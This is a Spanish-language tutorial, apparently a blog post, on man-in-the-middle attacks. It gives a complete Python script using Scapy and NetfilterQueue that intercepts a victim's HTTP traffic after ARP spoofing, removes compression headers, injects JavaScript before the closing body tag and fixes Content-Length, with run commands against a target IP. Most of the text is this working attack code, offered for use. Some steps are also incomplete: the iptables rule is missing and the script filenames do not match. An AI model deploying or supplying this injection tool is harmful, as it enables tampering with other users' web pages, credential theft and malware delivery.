Cómo inyectar código en response HTTP en la red en Python
Después de realizar una suplantación de identidad ARP en una computadora de destino en una red, puede realizar muchos tipos de ataques. Como ya sabrá, cuando ARP falsifica un objetivo en una red, usted será el hombre en el medio, lo que significa que cada paquete que se transmite es visto y puede ser modificado por el atacante.
En este tutorial, aprenderá cómo inyectar código Javascript (o incluso HTML y CSS) en paquetes HTTP en una red utilizando la biblioteca Scapy en Python.
Scapy es una herramienta de manipulación de paquetes para redes informáticas escrita en Python. Se ejecuta de forma nativa en Linux y nos brinda la capacidad de rastrear, leer y modificar paquetes fácilmente.
Para poder modificar paquetes sobre la marcha, debe:
Tener una máquina Linux, Kali Linux es una ventaja.
Siendo el hombre en el medio por la suplantación de ARP del objetivo, el tutorial de suplantación de ARP le dará más detalles sobre cómo se hace, y solo ejecutaremos el script en este tutorial.
Agregar una nueva regla NFQUEUE FORWARD en el comando iptables.
Ejecute el script de Python de este tutorial.
Primero, instalemos las bibliotecas requeridas para este tutorial:
$ pip install scapy==2.4.5 netfilterqueue colorama
NetfilterQueue brinda acceso a los paquetes que coinciden con una regla de iptables en Linux. Por lo tanto, los paquetes se pueden modificar, descartar, aceptar o reordenar.
Usaremos colorama para imprimir en colores.
Primero, importemos nuestras bibliotecas e inicialicemos los colores:
from scapy.all import *
from colorama import init, Fore
import netfilterqueue
import re
# initialize colorama
init()
# define colors
GREEN = Fore.GREEN
RESET = Fore.RESET
A continuación, para enlazar con NetfilterQueue, tenemos que hacer una función que acepte el paquete como parámetro, y allí haremos la modificación del paquete. La función será larga y por lo tanto se dividirá en dos partes:
def process_packet(packet):
"""
This function is executed whenever a packet is sniffed
"""
# convert the netfilterqueue packet into Scapy packet
spacket = IP(packet.get_payload())
if spacket.haslayer(Raw) and spacket.haslayer(TCP):
if spacket[TCP].dport == 80:
# HTTP request
print(f"[*] Detected HTTP Request from {spacket[IP].src} to {spacket[IP].dst}")
try:
load = spacket[Raw].load.decode()
except Exception as e:
# raw data cannot be decoded, apparently not HTML
# forward the packet exit the function
packet.accept()
return
# remove Accept-Encoding header from the HTTP request
new_load = re.sub(r"Accept-Encoding:.*\r\n", "", load)
# set the new data
spacket[Raw].load = new_load
# set IP length header, checksums of IP and TCP to None
# so Scapy will re-calculate them automatically
spacket[IP].len = None
spacket[IP].chksum = None
spacket[TCP].chksum = None
# set the modified Scapy packet back to the netfilterqueue packet
packet.set_payload(bytes(spacket))
Esta es solo la mitad de la función:
Convertimos nuestro paquete Netfilterqueue en un paquete Scapy envolviendo el paquete.get_payload() por un paquete IP().
Si el paquete es una capa Raw (algún tipo de datos) tiene una capa TCP y el puerto de destino es 80, entonces definitivamente es una solicitud HTTP.
En la solicitud HTTP, buscamos el encabezado Accept-Encoding, si está disponible, simplemente lo eliminamos para que podamos obtener las respuestas HTTP como código HTML sin procesar y no algún tipo de compresión como gzip.
También configuramos la longitud del paquete IP, las sumas de verificación de las capas TCP e IP en Ninguno, por lo que Scapy los volverá a calcular automáticamente.
A continuación, aquí está la otra parte de la detección de respuestas HTTP:
if spacket[TCP].sport == 80:
# HTTP response
print(f"[*] Detected HTTP Response from {spacket[IP].src} to {spacket[IP].dst}")
try:
load = spacket[Raw].load.decode()
except:
packet.accept()
return
# if you want to debug and see the HTML data
# print("Load:", load)
# Javascript code to add, feel free to add any Javascript code
added_text = "<script>alert('Javascript Injected successfully!');</script>"
# or you can add HTML as well!
# added_text = "<p><b>HTML Injected successfully!</b></p>"
# calculate the length in bytes, each character corresponds to a byte
added_text_length = len(added_text)
# replace the </body> tag with the added text plus </body>
load = load.replace("</body>", added_text + "</body>")
if "Content-Length" in load:
# if Content-Length header is available
# get the old Content-Length value
content_length = int(re.search(r"Content-Length: (\d+)\r\n", load).group(1))
# re-calculate the content length by adding the length of the injected code
new_content_length = content_length + added_text_length
# replace the new content length to the header
load = re.sub(r"Content-Length:.*\r\n", f"Content-Length: {new_content_length}\r\n", load)
# print a message if injected
if added_text in load:
print(f"{GREEN}[+] Successfully injected code to {spacket[IP].dst}{RESET}")
# if you want to debug and see the modified HTML data
# print("Load:", load)
# set the new data
spacket[Raw].load = load
# set IP length header, checksums of IP and TCP to None
# so Scapy will re-calculate them automatically
spacket[IP].len = None
spacket[IP].chksum = None
spacket[TCP].chksum = None
# set the modified Scapy packet back to the netfilterqueue packet
packet.set_payload(bytes(spacket))
# accept all the packets
packet.accept()
Ahora, si el puerto de origen es 80, entonces es una respuesta HTTP, y ahí es donde debemos modificar nuestro paquete:
Primero, extraemos nuestro contenido HTML de la respuesta HTTP del atributo de carga del paquete.
En segundo lugar, dado que cada código HTML tiene la etiqueta envolvente de cuerpo (</body>), podemos simplemente reemplazarlo con el código inyectado (como JS) y agregar </body> al final.
Después de modificar la variable de carga, debemos volver a calcular el encabezado Content-Length que se envía en la respuesta HTTP, agregamos la longitud del código inyectado a la longitud original y la volvemos a configurar usando la función re.sub() . Si el texto está en la carga, imprimimos un mensaje verde que indica que hemos modificado correctamente el HTML de una respuesta HTTP.
Además, restablecimos la carga y eliminamos la longitud y la suma de verificación como antes, por lo que Scapy los volverá a calcular.
Finalmente, configuramos el paquete Scapy modificado en el paquete NetfilterQueue y aceptamos todos los paquetes reenviados.
Ahora que nuestra función está lista, ejecutemos la cola:
if __name__ == "__main__":
# initialize the queue
queue = netfilterqueue.NetfilterQueue()
# bind the queue number 0 to the process_packet() function
queue.bind(0, process_packet)
# start the filter queue
queue.run()
Después de instanciar NetfilterQueue(), vinculamos nuestra función previamente definida al número de cola 0 y luego ejecutamos la cola.
Guarde el archivo como httpres.py e iniciemos el ataque.
ARP Spoofing ( se creara un tutorial este script)
Para comenzar, debe tener dos máquinas conectadas a la misma red. La máquina de destino puede estar en cualquier sistema operativo. Sin embargo, la máquina atacante debe estar en Linux. De lo contrario, esto no funcionará.
Una vez que tenga la dirección IP de la máquina de destino, así como la IP de la puerta de enlace (enrutador o punto de acceso), tome este script de ARP Spoofing Python y ejecútelo en la máquina atacante:
$ python3 arp_spoof.py 192.168.43.112 192.168.43.1
En mi caso, 192.168.43.112 es la dirección IP de la máquina de destino y la IP de la puerta de enlace es 192.168.43.1; así es como se verá la salida:
[!] Enabling IP Routing...
[!] IP Routing enabled.
Esto habilitó el reenvío de IP, que es necesario para reenviar paquetes en la máquina del atacante. Si desea ver los paquetes ARP enviados por este script, simplemente pase el parámetro -v o --verbose.
Agregar regla de IPTables
$ python http_code_injector.py
Ahora continúe en la máquina de destino y navegue por cualquier sitio web HTTP, como ptsv2.com o http://httpbin.org, y verá algo como esto en la máquina del atacante:
En el navegador de la máquina de destino, verá la alerta que inyectamos:
También verá el código inyectado si ve la fuente de la página:
Comentarios
Publicar un comentario